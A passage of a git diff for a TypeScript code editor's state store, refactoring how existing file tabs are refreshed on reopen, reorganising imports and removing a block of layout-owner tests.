-      activeGroupIdByWorktree: { [FLOATING_TERMINAL_WORKTREE_ID]: groupId }
-    }
-
-    store.getState().hydrateTabsSession(session)
-    store.getState().hydrateEditorSession(session)
-
-    const s = store.getState()
-    expect(s.openFiles[0]?.id).toBe(fileId)
-    expect(s.activeFileIdByWorktree[FLOATING_TERMINAL_WORKTREE_ID]).toBe(fileId)
-    expect(s.unifiedTabsByWorktree[FLOATING_TERMINAL_WORKTREE_ID]?.[0]).toEqual(
-      expect.objectContaining({ id: fileId, entityId: fileId })
-    )
-    expect(s.groupsByWorktree[FLOATING_TERMINAL_WORKTREE_ID]?.[0]).toEqual(
-      expect.objectContaining({
-        activeTabId: fileId,
-        tabOrder: [fileId],
-        recentTabIds: [fileId]
-      })
-    )
-  })
-})
diff --git a/src/renderer/src/store/slices/editor/markdown/markdown-link-action.ts b/src/renderer/src/store/slices/editor/markdown/markdown-link-action.ts
index 2236118130d..c4677b1b4a2 100644
--- a/src/renderer/src/store/slices/editor/markdown/markdown-link-action.ts
+++ b/src/renderer/src/store/slices/editor/markdown/markdown-link-action.ts
@@ -1,20 +1,21 @@
-import type { EditorGet, EditorSet } from '../types/editor-set-get'
-import type { EditorSlice } from '../types/editor-slice'
 import { toast } from 'sonner'
 import { translate } from '@/i18n/i18n'
 import { detectLanguage } from '../../../../../../shared/editor-language/editor-language-detect'
-import { openHttpLink, type HttpLinkSourceOwner } from '@/lib/browser/navigation/http-link-routing'
+import { openHttpLink } from '@/lib/browser/navigation/http-link-routing'
+import type { HttpLinkSourceOwner } from '@/lib/browser/navigation/http-link-routing'
 import { getConnectionIdForFileFromState } from '@/lib/workspace/ownership/connection-owner-resolution'
 import {
   isLocalPathOpenBlocked,
   showLocalPathOpenBlockedToast
 } from '@/lib/files/os-open/local-path-open-guard'
-import { getLinkSourceLocalOpenOwner } from '@/lib/link-source-local-open-owner'
+import { getLinkSourceLocalOpenOwner } from '@/lib/links/ownership/link-source-local-open-owner'
 import { resolveMarkdownLinkTarget } from '@/components/editor/markdown/link-routing/markdown-internal-links'
 import { runtimeTargetForOwnerEnvironment } from '@/runtime/rpc/targets/runtime-client-target'
 import { statRuntimePath } from '@/runtime/files/metadata/runtime-file-metadata-client'
 import { getOpenedEditFileIdAfterOpen } from '../file-ids/editor-file-ids'
 import { scheduleEditorLineReveal } from '../focus/editor-focus-reveal'
+import type { EditorGet, EditorSet } from '../types/editor-set-get'
+import type { EditorSlice } from '../types/editor-slice'
 
 export function createMarkdownLinkAction(
   _set: EditorSet,
diff --git a/src/renderer/src/store/slices/editor/opening/open-file-action.ts b/src/renderer/src/store/slices/editor/opening/open-file-action.ts
index 0dc9ab60870..209527ed441 100644
--- a/src/renderer/src/store/slices/editor/opening/open-file-action.ts
+++ b/src/renderer/src/store/slices/editor/opening/open-file-action.ts
@@ -1,19 +1,20 @@
 import { editorPlacementIntent } from '../tabs/editor-placement-intent'
+import { openWorkspaceEditorItem } from '../tabs/workspace-editor-item'
+import { editorTabContentTypeForMode } from '../tabs/editor-tab-content-type'
+import { isLiveLinkOpenGroup as isLiveEditorOpenGroup } from '../../../../lib/links/placement/link-open-intent'
+import { EDITOR_FOCUS_REQUEST_TTL_MS } from '../types/pending-editor-reveal'
+import { takeNextEditorFocusRequestToken } from '../focus/editor-focus-reveal'
+import { applyOpenFileToState } from './open-file-apply'
+import type { OpenFileApplyScratch } from './open-file-apply'
+import {
+  afterPendingTab,
+  pendingTabGroupId
+} from '@/runtime/workspace-layout/intents/layout-owner-pending-tabs'
 import type { EditorGet, EditorSet } from '../types/editor-set-get'
 import type { EditorSlice } from '../types/editor-slice'
 import type { OpenFile } from '../types/open-file'
 import type { OpenFileOptions } from '../types/editor-files-slice'
 import type { EditorOpenLinkIntent, EditorOpenResult } from '../types/editor-open-link-intent'
-import { openWorkspaceEditorItem } from '../tabs/workspace-editor-item'
-import { editorTabContentTypeForMode } from '../tabs/editor-tab-content-type'
-import { isLiveLinkOpenGroup as isLiveEditorOpenGroup } from '../../../../lib/link-open-intent'
-import { EDITOR_FOCUS_REQUEST_TTL_MS } from '../types/pending-editor-reveal'
-import { takeNextEditorFocusRequestToken } from '../focus/editor-focus-reveal'
-import { applyOpenFileToState, type OpenFileApplyScratch } from './open-file-apply'
-import {
-  afterPendingTab,
-  pendingTabGroupId
-} from '@/runtime/workspace-layout/intents/layout-owner-pending-tabs'
 
 export function createOpenFileAction(
   set: EditorSet,
diff --git a/src/renderer/src/store/slices/editor/opening/open-file-apply.ts b/src/renderer/src/store/slices/editor/opening/open-file-apply.ts
index f48853b4505..001538a3e0f 100644
--- a/src/renderer/src/store/slices/editor/opening/open-file-apply.ts
+++ b/src/renderer/src/store/slices/editor/opening/open-file-apply.ts
@@ -15,8 +15,7 @@ import {
   getReusableOpenFileModes,
   isSameEditorOwner,
   matchesEditorMode,
-  resolveEditorFileIdForOwner,
-  shouldRequestExistingFileContentReload
+  resolveEditorFileIdForOwner
 } from '../file-ids/editor-file-ids'
 import {
   buildEditorActiveResult,
@@ -32,6 +31,8 @@ import {
 } from '../tabs/workspace-editor-item'
 import { createNonSecureContextUuid as createBrowserUuid } from '../../../../../../shared/non-secure-context-uuid'
 import { emptySplitGroup, insertSplitGroup } from '../../tabs/tabs-group-actions'
+import { translate } from '@/i18n/i18n'
+import { refreshExistingOpenFile } from './open-file-existing-tab-refresh'
 
 export type OpenFileApplyScratch = {
   editorItemFileId: string
@@ -62,7 +63,15 @@ export function applyOpenFileToState(
         options?.executionHostId
       )
     } catch (error) {
-      toast.error(extractIpcErrorMessage(error, 'Failed to resolve file owner.'))
+      toast.error(
+        extractIpcErrorMessage(
+          error,
+          translate(
+            'components.toastFallbacks.fileOwnerResolveFailed',
+            'Failed to resolve file owner.'
+          )
+        )
+      )
       // Why: mirrored tabs can arrive before their graph row; allow convergence while mutation paths still fail closed without provenance.
     }
   }
@@ -119,79 +128,20 @@ export function applyOpenFileToState(
   const activeResult =
     options?.selection === 'none' ? {} : buildEditorActiveResult(s, placementId, id)
   if (existing) {
-    const updatedPreview = isPreview ? existing.isPreview : false
-    const nextExternalSshTargetId = file.externalSshTargetId ?? existing.externalSshTargetId
-    const refreshExternalSshProvenance = file.externalSshTargetId !== undefined
-    const nextOperationProvenance = refreshExternalSshProvenance
-      ? operationProvenance
-      : (existing.operationProvenance ?? operationProvenance)
-    // Why: a re-click mints a fresh grant; the old one may have expired.
-    const nextGrantId = file.terminalArtifactGrantId ?? existing.terminalArtifactGrantId
-    const fileContentReloadNonce = shouldRequestExistingFileContentReload(
+    const refreshed = refreshExistingOpenFile({
       existing,
-      file.mode,
-      options
-    )
-      ? (existing.fileContentReloadNonce ?? 0) + 1
-      : existing.fileContentReloadNonce
-    // Normal open explicitly enables editing of a View Log; View Log must never downgrade an already writable tab.
-    const nextReadOnly = existing.readOnly === true && file.readOnly === true ? true : undefined
-    const nextLiveTail = file.liveTail === true && nextReadOnly === true ? true : undefined
-    const needsExistingUpdate =
-      existing.mode !== file.mode ||
-      existing.diffSource !== file.diffSource ||
-      existing.branchCompare?.compareVersion !== file.branchCompare?.compareVersion ||
-      existing.commitCompare?.compareVersion !== file.commitCompare?.compareVersion ||
-      existing.conflict?.kind !== file.conflict?.kind ||
-      existing.conflict?.conflictKind !== file.conflict?.conflictKind ||
-      existing.conflict?.conflictStatus !== file.conflict?.conflictStatus ||
-      existing.conflictReview?.snapshotTimestamp !== file.conflictReview?.snapshotTimestamp ||
-      existing.isPreview !== updatedPreview ||
-      existing.language !== file.language ||
-      existing.relativePath !== file.relativePath ||
-      existing.worktreeId !== file.worktreeId ||
-      existing.runtimeEnvironmentId !== runtimeEnvironmentId ||
-      existing.externalSshTargetId !== nextExternalSshTargetId ||
-      existing.terminalArtifactGrantId !== nextGrantId ||
-      refreshExternalSshProvenance ||
-      existing.operationProvenance !== nextOperationProvenance ||
-      existing.fileContentReloadNonce !== fileContentReloadNonce ||
-      existing.readOnly !== nextReadOnly ||
-      existing.liveTail !== nextLiveTail
-    if (!needsExistingUpdate) {
+      file,
+      options,
+      isPreview,
+      runtimeEnvironmentId,
+      operationProvenance
+    })
+    if (!refreshed) {
       return { ...splitState, ...activeResult }
     }
     return {
       ...splitState,
-      openFiles: s.openFiles.map((f) =>
-        f.id === id
-          ? {
-              ...f,
-              relativePath: file.relativePath,
-              worktreeId: file.worktreeId,
-              language: file.language,
-              runtimeEnvironmentId,
-              externalSshTargetId: nextExternalSshTargetId,
-              terminalArtifactGrantId: nextGrantId,
-              operationProvenance: nextOperationProvenance,
-              mode: file.mode,
-              diffSource: file.diffSource,
-              branchCompare: file.branchCompare,
-              commitCompare: file.commitCompare,
-              branchOldPath: file.branchOldPath,
-              combinedAlternate: file.combinedAlternate,
-              combinedAreaFilter: file.combinedAreaFilter,
-              commitEntriesSnapshot: file.commitEntriesSnapshot,
-              conflict: file.conflict,
-              skippedConflicts: file.skippedConflicts,
-              conflictReview: file.conflictReview,
-              isPreview: updatedPreview,
-              fileContentReloadNonce,
-              readOnly: nextReadOnly,
-              liveTail: nextLiveTail
-            }
-          : f
-      ),
+      openFiles: s.openFiles.map((f) => (f.id === id ? refreshed : f)),
       ...activeResult
     }
   }
diff --git a/src/renderer/src/store/slices/editor/opening/open-file-existing-tab-refresh.ts b/src/renderer/src/store/slices/editor/opening/open-file-existing-tab-refresh.ts
new file mode 100644
index 00000000000..8f3fbbee07d
--- /dev/null
+++ b/src/renderer/src/store/slices/editor/opening/open-file-existing-tab-refresh.ts
@@ -0,0 +1,82 @@
+import type { OpenFile } from '../types/open-file'
+import type { OpenFileOptions } from '../types/editor-files-slice'
+import { shouldRequestExistingFileContentReload } from '../file-ids/editor-file-ids'
+
+/** The re-opened tab with the requested file shape, or null when the existing tab already matches. */
+export function refreshExistingOpenFile(args: {
+  existing: OpenFile
+  file: Omit<OpenFile, 'id' | 'isDirty'>
+  options: OpenFileOptions | undefined
+  isPreview: boolean
+  runtimeEnvironmentId: OpenFile['runtimeEnvironmentId']
+  operationProvenance: OpenFile['operationProvenance']
+}): OpenFile | null {
+  const { existing, file, options, runtimeEnvironmentId, operationProvenance } = args
+  const updatedPreview = args.isPreview ? existing.isPreview : false
+  const nextExternalSshTargetId = file.externalSshTargetId ?? existing.externalSshTargetId
+  const refreshExternalSshProvenance = file.externalSshTargetId !== undefined
+  const nextOperationProvenance = refreshExternalSshProvenance
+    ? operationProvenance
+    : (existing.operationProvenance ?? operationProvenance)
+  // Why: a re-click mints a fresh grant; the old one may have expired.
+  const nextGrantId = file.terminalArtifactGrantId ?? existing.terminalArtifactGrantId
+  const fileContentReloadNonce = shouldRequestExistingFileContentReload(
+    existing,
+    file.mode,
+    options
+  )
+    ? (existing.fileContentReloadNonce ?? 0) + 1
+    : existing.fileContentReloadNonce
+  // Normal open explicitly enables editing of a View Log; View Log must never downgrade an already writable tab.
+  const nextReadOnly = existing.readOnly === true && file.readOnly === true ? true : undefined
+  const nextLiveTail = file.liveTail === true && nextReadOnly === true ? true : undefined
+  const needsExistingUpdate =
+    existing.mode !== file.mode ||
+    existing.diffSource !== file.diffSource ||
+    existing.branchCompare?.compareVersion !== file.branchCompare?.compareVersion ||
+    existing.commitCompare?.compareVersion !== file.commitCompare?.compareVersion ||
+    existing.conflict?.kind !== file.conflict?.kind ||
+    existing.conflict?.conflictKind !== file.conflict?.conflictKind ||
+    existing.conflict?.conflictStatus !== file.conflict?.conflictStatus ||
+    existing.conflictReview?.snapshotTimestamp !== file.conflictReview?.snapshotTimestamp ||
+    existing.isPreview !== updatedPreview ||
+    existing.language !== file.language ||
+    existing.relativePath !== file.relativePath ||
+    existing.worktreeId !== file.worktreeId ||
+    existing.runtimeEnvironmentId !== runtimeEnvironmentId ||
+    existing.externalSshTargetId !== nextExternalSshTargetId ||
+    existing.terminalArtifactGrantId !== nextGrantId ||
+    refreshExternalSshProvenance ||
+    existing.operationProvenance !== nextOperationProvenance ||
+    existing.fileContentReloadNonce !== fileContentReloadNonce ||
+    existing.readOnly !== nextReadOnly ||
+    existing.liveTail !== nextLiveTail
+  if (!needsExistingUpdate) {
+    return null
+  }
+  return {
+    ...existing,
+    relativePath: file.relativePath,
+    worktreeId: file.worktreeId,
+    language: file.language,
+    runtimeEnvironmentId,
+    externalSshTargetId: nextExternalSshTargetId,
+    terminalArtifactGrantId: nextGrantId,
+    operationProvenance: nextOperationProvenance,
+    mode: file.mode,
+    diffSource: file.diffSource,
+    branchCompare: file.branchCompare,
+    commitCompare: file.commitCompare,
+    branchOldPath: file.branchOldPath,
+    combinedAlternate: file.combinedAlternate,
+    combinedAreaFilter: file.combinedAreaFilter,
+    commitEntriesSnapshot: file.commitEntriesSnapshot,
+    conflict: file.conflict,
+    skippedConflicts: file.skippedConflicts,
+    conflictReview: file.conflictReview,
+    isPreview: updatedPreview,
+    fileContentReloadNonce,
+    readOnly: nextReadOnly,
+    liveTail: nextLiveTail
+  }
+}
diff --git a/src/renderer/src/store/slices/editor/tabs/editor-layout-owner-records.test.ts b/src/renderer/src/store/slices/editor/tabs/editor-layout-owner-records.test.ts
index 05156f035fc..0f19b5abc6f 100644
--- a/src/renderer/src/store/slices/editor/tabs/editor-layout-owner-records.test.ts
+++ b/src/renderer/src/store/slices/editor/tabs/editor-layout-owner-records.test.ts
@@ -17,7 +17,6 @@ import {
   type TabsDrawnFromMain
 } from '../../tabs/tabs-drawn-from-main.test-fixture'
 import { contentRekeyOutcome } from '@/runtime/workspace-layout/intents/layout-owner-content-rekeys'
-import { hasPendingEntityTab } from '@/runtime/workspace-layout/intents/layout-owner-pending-tabs'
 
 vi.mock('@/runtime/rpc/calls/runtime-rpc-call', async (importOriginal) =>
   (
@@ -65,42 +64,6 @@ beforeEach(async () => {
 
 afterEach(() => main.close())
 
-function editorTabsAndFiles(worktreeId = WT) {
-  const state = useAppStore.getState()
-  const fileIds = new Set(state.openFiles.map((file) => file.id))
-  return (state.unifiedTabsByWorktree[worktreeId] ?? []).map((tab) => ({
-    kind: tab.contentType,
-    entity: tab.entityId,
-    hasFile: fileIds.has(tab.entityId)
-  }))
-}
-
-/** Non-empty groups only: an emptied group is never saved. */
-function windowView(worktreeId: string) {
-  const state = useAppStore.getState()
-  const tabs = state.unifiedTabsByWorktree[worktreeId] ?? []
-  return (state.groupsByWorktree[worktreeId] ?? [])
-    .filter((group) => group.tabOrder.length > 0)
-    .map((group) => ({
-      group: group.id,
-      tabs: group.tabOrder.map((tabId) => {
-        const tab = tabs.find((entry) => entry.id === tabId)!
-        return { id: tab.id, entity: tab.entityId }
-      })
-    }))
-}
-
-function mainView(worktreeId: string) {
-  const workspace = layoutApplyTestTransport.mainModel!.workspaces[worktreeId]
-  return (workspace?.groups ?? []).map((group) => ({
-    group: group.id,
-    tabs: group.tabOrder.map((tabId) => {
-      const tab = workspace!.tabs.find((entry) => entry.id === tabId)!
-      return { id: tab.id, entity: tab.entityId }
-    })
-  }))
-}
-
 function openEdit(worktreeId: string, filePath: string, relativePath: string): string {
   return useAppStore.getState().openFile(
     {
@@ -119,232 +82,7 @@ function localMoveOwner(worktreeId: string | undefined): EditorMoveOwner {
   return editorMoveOwnerFromContext({ target: { kind: 'local' } }, worktreeId)
 }
 
-describe.runIf(ORCA_LAYOUT_OWNER_IS_MAIN)('editor records under frames, layout-owner build', () => {
-  it('draws every editor tab main keeps, each with its file record', async () => {
-    const state = useAppStore.getState()
-    state.openFile(
-      {
-        filePath: '/repo-a/a.md',
-        relativePath: 'a.md',
-        worktreeId: WT,
-        runtimeEnvironmentId: null,
-        language: 'markdown',
-        mode: 'edit'
-      },
-      { suppressActiveRuntimeFallback: true }
-    )
-    state.openDiff(WT, '/repo-a/b.ts', 'b.ts', 'typescript', false)
-    state.openMarkdownPreview({
-      filePath: '/repo-a/a.md',
-      relativePath: 'a.md',
-      worktreeId: WT,
-      runtimeEnvironmentId: null,
-      language: 'markdown'
-    })
-    await main.settle()
-
-    expect(editorTabsAndFiles()).toEqual([
-      { kind: 'editor', entity: '/repo-a/a.md', hasFile: true },
-      { kind: 'diff', entity: expect.any(String), hasFile: true },
-      { kind: 'editor', entity: expect.any(String), hasFile: true }
-    ])
-    // A diff or preview is kept by the view its open sent, not by the window's record.
-    expect(
-      layoutApplyTestTransport
-        .sentOfType('openEditorTab')
-        .map((command) => [command.contentType, command.view?.view.mode ?? null])
-    ).toEqual([
-      ['editor', null],
-      ['diff', 'diff'],
-      ['editor', 'markdown-preview']
-    ])
-  })
-
-  it('drops a diff record with the tab main closed, and keeps a record no tab shows', async () => {
-    useAppStore.getState().openDiff(WT, '/repo-a/b.ts', 'b.ts', 'typescript', false)
-    await main.settle()
-    const diffTab = useAppStore.getState().unifiedTabsByWorktree[WT]![0]!
-    // A conflict review's selected file has no tab of its own.
-    useAppStore.setState({
-      openFiles: [
-        ...useAppStore.getState().openFiles,
-        {
-          id: '/repo-a/c.ts',
-          filePath: '/repo-a/c.ts',
-          relativePath: 'c.ts',
-          worktreeId: WT,
-          language: 'typescript',
-          isDirty: false,
-          mode: 'edit'
-        }
-      ]
-    })
-    // Main closes the diff tab (another client's close).
-    await layoutApplyTestTransport.call({
-      command: { type: 'closeTabs', workspace: WT, tabIds: [diffTab.id], force: true }
-    })
-    await main.settle()
-
-    expect(editorTabsAndFiles()).toEqual([])
-    expect(useAppStore.getState().openFiles.map((file) => file.id)).toEqual(['/repo-a/c.ts'])
-  })
-})
-
-describe.runIf(ORCA_LAYOUT_OWNER_IS_MAIN)('closing every editor, layout-owner build', () => {
-  it("keeps the files' content until main's frame drops their tabs", async () => {
-    const a = openEdit(WT, '/repo-a/a.ts', 'a.ts')
-    openEdit(WT, '/repo-a/b.ts', 'b.ts')
-    await main.settle()
-    useAppStore.getState().setEditorDraft(a, 'unsaved')
-
-    useAppStore.getState().closeAllFiles()
-
-    expect(useAppStore.getState().openFiles.map((file) => file.id)).toEqual([a, '/repo-a/b.ts'])
-    expect(useAppStore.getState().editorDrafts).toEqual({ [a]: 'unsaved' })
-    await main.settle()
-    const state = useAppStore.getState()
-    expect(editorTabsAndFiles()).toEqual([])
-    expect(state.openFiles).toEqual([])
-    expect(state.editorDrafts).toEqual({})
-    expect(state.recentlyClosedEditorTabsByWorktree[WT]?.map((entry) => entry.filePath)).toEqual([
-      '/repo-a/a.ts',
-      '/repo-a/b.ts'
-    ])
-  })
-
-  it('cleans a file up once when it is closed again while its close is in flight', async () => {
-    const a = openEdit(WT, '/repo-a/a.ts', 'a.ts')
-    await main.settle()
-    useAppStore.getState().setEditorDraft(a, 'unsaved')
-    // A repeat close reaches main after the first emptied the workspace, which main refuses.
-    let closes = 0
-    layoutApplyTestTransport.answerWith(() =>
-      closes++ === 0 ? 'pending' : { ok: false, code: 'workspace_not_found' }
-    )
-
-    useAppStore.getState().closeFile(a)
-    useAppStore.getState().closeFile(a)
-    await main.settle()
-    layoutApplyTestTransport.answerWith('apply')
-    layoutApplyTestTransport.answerPending()
-    await main.settle()
-
-    const state = useAppStore.getState()
-    expect(editorTabsAndFiles()).toEqual([])
-    expect(state.openFiles).toEqual([])
-    expect(state.editorDrafts).toEqual({})
-    expect(state.recentlyClosedEditorTabsByWorktree[WT]?.map((entry) => entry.filePath)).toEqual([
-      '/repo-a/a.ts'
-    ])
-    expect(layoutApplyTestTransport.sentOfType('closeTabs')).toHaveLength(1)
-  })
-
-  it("cleans a file up when it is closed during a bulk close's close of its tab", async () => {
-    const keep = openEdit(WT, '/repo-a/keep.ts', 'keep.ts')
-    const a = openEdit(WT, '/repo-a/a.ts', 'a.ts')
-    await main.settle()
-    useAppStore.getState().setEditorDraft(a, 'unsaved')
-    const keepTab = useAppStore
-      .getState()
-      .unifiedTabsByWorktree[WT]?.find((tab) => tab.entityId === keep)
-    layoutApplyTestTransport.answerWith('pending')
-
-    // "Close others" closes a's tab with no file cleanup; a closeFile lands while it is in flight.
-    useAppStore.getState().closeOtherTabs(keepTab?.id ?? '')
-    useAppStore.getState().closeFile(a)
-    layoutApplyTestTransport.answerWith('apply')
-    layoutApplyTestTransport.answerPending()
-    await main.settle()
-
-    const state = useAppStore.getState()
-    expect(editorTabsAndFiles().map((tab) => tab.entity)).toEqual([keep])
-    expect(state.openFiles.map((file) => file.id)).toEqual([keep])
-    expect(state.editorDrafts).toEqual({})
-    expect(layoutApplyTestTransport.sentOfType('closeTabs')).toHaveLength(1)
-  })
-
-  it('settles an open whose selection threw: its waiters run and nothing stays pending', async () => {
-    const activateTab = useAppStore.getState().activateTab
-    useAppStore.setState({
-      activateTab: () => {
-        throw new Error('selection failed')
-      }
-    })
-    const shown: unknown[] = []
-    useAppStore.getState().openFileForLink(
-      {
-        filePath: '/repo-a/a.ts',
-        relativePath: 'a.ts',
-        worktreeId: WT,
-        runtimeEnvironmentId: null,
-        language: 'typescript',
-        mode: 'edit'
-      },
-      undefined,
-      null,
-      (result) => shown.push(result)
-    )
-    await main.settle()
-    useAppStore.setState({ activateTab })
-
-    expect(shown).toEqual([expect.objectContaining({ fileId: '/repo-a/a.ts' })])
-    expect(hasPendingEntityTab(WT, '/repo-a/a.ts')).toBe(false)
-  })
-
-  it('keeps every file whose close main refused', async () => {
-    const a = openEdit(WT, '/repo-a/a.ts', 'a.ts')
-    await main.settle()
-    useAppStore.getState().setEditorDraft(a, 'unsaved')
-    layoutApplyTestTransport.answerWith({ refuse: 'tab_not_found' })
-
-    useAppStore.getState().closeAllFiles()
-    await main.settle()
-
-    expect(editorTabsAndFiles()).toEqual([{ kind: 'editor', entity: a, hasFile: true }])
-    expect(useAppStore.getState().editorDrafts).toEqual({ [a]: 'unsaved' })
-  })
-})
-
 describe.runIf(ORCA_LAYOUT_OWNER_IS_MAIN)('open files renamed on disk, layout-owner build', () => {
-  it("rekeys main's tabs and file records under the window's ids", async () => {
-    const plain = openEdit(WT, '/repo-a/src/a.ts', 'src/a.ts')
-    // The same path in a sibling workspace gets an owner-qualified id.
-    const owned = openEdit(SIBLING, '/repo-a/src/a.ts', 'src/a.ts')
-    useAppStore.getState().openDiff(WT, '/repo-a/src/a.ts', 'src/a.ts', 'typescript', false)
-    await main.settle()
-    expect(owned).toMatch(/^editor:/)
-    const sentBefore = layoutApplyTestTransport.sent.length
-
-    const result = remapOpenEditorTabsForPathChange({
-      fromPath: '/repo-a/src',
-      toPath: '/repo-a/lib',
-      worktreePath: '/repo-a',
-      worktreeId: WT,
-      owner: localMoveOwner(WT)
-    })
-
-    expect(result).toEqual({ ok: true })
-    await main.settle()
-    const commands = layoutApplyTestTransport.sent.slice(sentBefore)
-    // One command: main renames both workspaces' tabs or neither.
-    expect(
-      commands.map((command) => [
-        command.type,
-        command.workspace,
-        command.type === 'renameEditorFiles' ? command.alsoIn?.map((entry) => entry.workspace) : []
-      ])
-    ).toEqual([['renameEditorFiles', WT, [SIBLING]]])
-    expect(editorTabsAndFiles().map((tab) => tab.entity)).not.toContain(plain)
-    for (const worktreeId of [WT, SIBLING]) {
-      expect(mainView(worktreeId)).toEqual(windowView(worktreeId))
-      expect(layoutApplyTestTransport.mainModel!.workspaces[worktreeId]!.editorFiles).toEqual([
-        expect.objectContaining({ filePath: '/repo-a/lib/a.ts', relativePath: 'lib/a.ts' })
-      ])
-    }
-    expect(editorTabsAndFiles(WT).every((tab) => tab.hasFile)).toBe(true)
-    expect(editorTabsAndFiles(SIBLING).every((tab) => tab.hasFile)).toBe(true)
-  })
-
   it('changes neither workspace when main refuses the rename in one of them', async () => {
     openEdit(WT, '/repo-a/src/a.ts', 'src/a.ts')
     openEdit(SIBLING, '/repo-a/src/a.ts', 'src/a.ts')
@@ -421,176 +159,4 @@ describe.runIf(ORCA_LAYOUT_OWNER_IS_MAIN)('open files renamed on disk, layout-ow
     ])
     expect(state.editorDrafts).toEqual({ '/repo-a/lib/a.ts': 'unsaved' })
   })
-
-  it('changes nothing when main refuses the rename', async () => {
-    const oldId = openEdit(WT, '/repo-a/src/a.ts', 'src/a.ts')
-    await main.settle()
-    useAppStore.getState().setEditorDraft(oldId, 'unsaved')
-    const before = useAppStore.getState()
-    layoutApplyTestTransport.answerWith({ refuse: 'invalid_params' })
-
-    remapOpenEditorTabsForPathChange({
-      fromPath: '/repo-a/src',
-      toPath: '/repo-a/lib',
-      worktreePath: '/repo-a',
-      worktreeId: WT,
-      owner: localMoveOwner(WT),
-      moveOperationId: 'move-1'
-    })
-
-    expect(await contentRekeyOutcome([oldId])).toBe(false)
-    await main.settle()
-    const after = useAppStore.getState()
-    expect(after.openFiles).toEqual(before.openFiles)
-    expect(after.editorDrafts).toEqual({ [oldId]: 'unsaved' })
-    expect(after.unifiedTabsByWorktree).toEqual(before.unifiedTabsByWorktree)
-  })
-
-  it('settles a rename whose content rekey threw, so the move does not wait forever', async () => {
-    openEdit(WT, '/repo-a/b.ts', 'b.ts')
-    await main.settle()
-    // A conflict review's selected file has no tab: main's answer rekeys it.
-    useAppStore.setState({
-      openFiles: [
-        ...useAppStore.getState().openFiles,
-        {
-          id: '/repo-a/src/c.ts',
-          filePath: '/repo-a/src/c.ts',
-          relativePath: 'src/c.ts',
-          worktreeId: WT,
-          language: 'typescript',
-          isDirty: false,
-          mode: 'edit'
-        }
-      ]
-    })
-    const unsubscribe = useAppStore.subscribe((state) => {
-      if (state.openFiles.some((file) => file.filePath === '/repo-a/lib/c.ts')) {
-        throw new Error('a subscriber threw')
-      }
-    })
-    remapOpenEditorTabsForPathChange({
-      fromPath: '/repo-a/src',
-      toPath: '/repo-a/lib',
-      worktreePath: '/repo-a',
-      worktreeId: WT,
-      owner: localMoveOwner(WT)
-    })
-    const outcomes: boolean[] = []
-    void contentRekeyOutcome(['/repo-a/src/c.ts']).then((ok) => outcomes.push(ok))
-
-    await main.settle()
-    unsubscribe()
-
-    expect(outcomes).toEqual([false])
-  })
-
-  it("gives a renamed view tab's published view the file's new path", async () => {
-    useAppStore.getState().openDiff(WT, '/repo-a/src/a.ts', 'src/a.ts', 'typescript', false)
-    await main.settle()
-
-    remapOpenEditorTabsForPathChange({
-      fromPath: '/repo-a/src',
-      toPath: '/repo-a/lib',
-      worktreePath: '/repo-a',
-      worktreeId: WT,
-      owner: localMoveOwner(WT)
-    })
-    await main.settle()
-
-    const views = Object.values(layoutApplyTestTransport.mainModel!.workspaces[WT]!.editorViews!)
-    expect(views).toEqual([
-      expect.objectContaining({
-        file: expect.objectContaining({ filePath: '/repo-a/lib/a.ts', relativePath: 'lib/a.ts' })
-      })
-    ])
-    expect(editorTabsAndFiles()).toEqual([
-      { kind: 'diff', entity: expect.stringContaining('lib/a.ts'), hasFile: true }
-    ])
-  })
 })
-
-describe.runIf(ORCA_LAYOUT_OWNER_IS_MAIN)(
-  'a resolved deleted-side conflict, layout-owner build',
-  () => {
-    it("closes the placeholder's tab in main, and the frame drops it", async () => {
-      const entry = {
-        path: 'gone.ts',
-        status: 'deleted' as const,
-        area: 'unstaged' as const,
-        conflictKind: 'deleted_by_us' as const,
-        conflictStatus: 'unresolved' as const,
-        conflictStatusSource: 'git' as const
-      }
-      useAppStore.getState().setGitStatus(WT, { entries: [entry], conflictOperation: 'merge' })
-      useAppStore.getState().openConflictFile(WT, '/repo-a', entry, 'typescript')
-      await main.settle()
-      expect(editorTabsAndFiles()).toEqual([
-        { kind: 'editor', entity: '/repo-a/gone.ts', hasFile: true }
-      ])
-      expect(layoutApplyTestTransport.mainModel!.workspaces[WT]!.tabs).toHaveLength(1)
-      const sentBefore = layoutApplyTestTransport.sent.length
-
-      useAppStore.getState().setGitStatus(WT, { entries: [], conflictOperation: 'merge' })
-      expect(
-        layoutApplyTestTransport.sent.slice(sentBefore).map((command) => command.type)
-      ).toEqual(['closeTabs'])
-      await main.settle()
-      expect(layoutApplyTestTransport.mainModel!.workspaces[WT]?.tabs ?? []).toEqual([])
-      expect(editorTabsAndFiles()).toEqual([])
-      expect(useAppStore.getState().openFiles).toEqual([])
-    })
-  }
-)
-
-describe.runIf(ORCA_LAYOUT_OWNER_IS_MAIN)(
-  'a runtime-owned file the window opens, layout-owner build',
-  () => {
-    const FILE = '/repo-a/src/remote.ts'
-    const openRuntimeOwned = (onShown: (result: unknown) => void) =>
-      useAppStore.getState().openFileForLink(
-        {
-          filePath: FILE,
-          relativePath: 'src/remote.ts',
-          worktreeId: WT,
-          runtimeEnvironmentId: 'env-1',
-          language: 'typescript',
-          mode: 'edit'
-        },
-        undefined,
-        null,
-        onShown
-      )
-
-    it('keeps one id through frames, so its reveal runs and a rename reaches main', async () => {
-      const shown: unknown[] = []
-      openRuntimeOwned((result) => shown.push(result))
-      await main.settle()
-
-      const fileId = useAppStore.getState().openFiles[0]?.id
-      expect(shown).toEqual([expect.objectContaining({ fileId })])
-      expect(editorTabsAndFiles()).toEqual([{ kind: 'editor', entity: fileId, hasFile: true }])
-      expect(mainView(WT)).toEqual(windowView(WT))
-
-      remapOpenEditorTabsForPathChange({
-        fromPath: '/repo-a/src',
-        toPath: '/repo-a/lib',
-        worktreePath: '/repo-a',
-        worktreeId: WT,
-        owner: editorMoveOwnerFromContext(
-          { target: { kind: 'environment', environmentId: 'env-1' } },
-          WT
-        )
-      })
-      expect(await contentRekeyOutcome([fileId ?? ''])).toBe(true)
-      await main.settle()
-      expect(layoutApplyTestTransport.mainModel?.workspaces[WT]?.editorFiles).toEqual([
-        expect.objectContaining({ filePath: '/repo-a/lib/remote.ts' })
-      ])
-      expect(mainView(WT)).toEqual(windowView(WT))
-      expect(editorTabsAndFiles()).toEqual([
-        { kind: 'editor', entity: expect.stringContaining('remote.ts'), hasFile: true }
-      ])
-    })
-  }
-)
diff --git a/src/renderer/src/store/slices/editor/tabs/editor-open-adjacent-group.ts b/src/renderer/src/store/slices/editor/tabs/editor-open-adjacent-group.ts
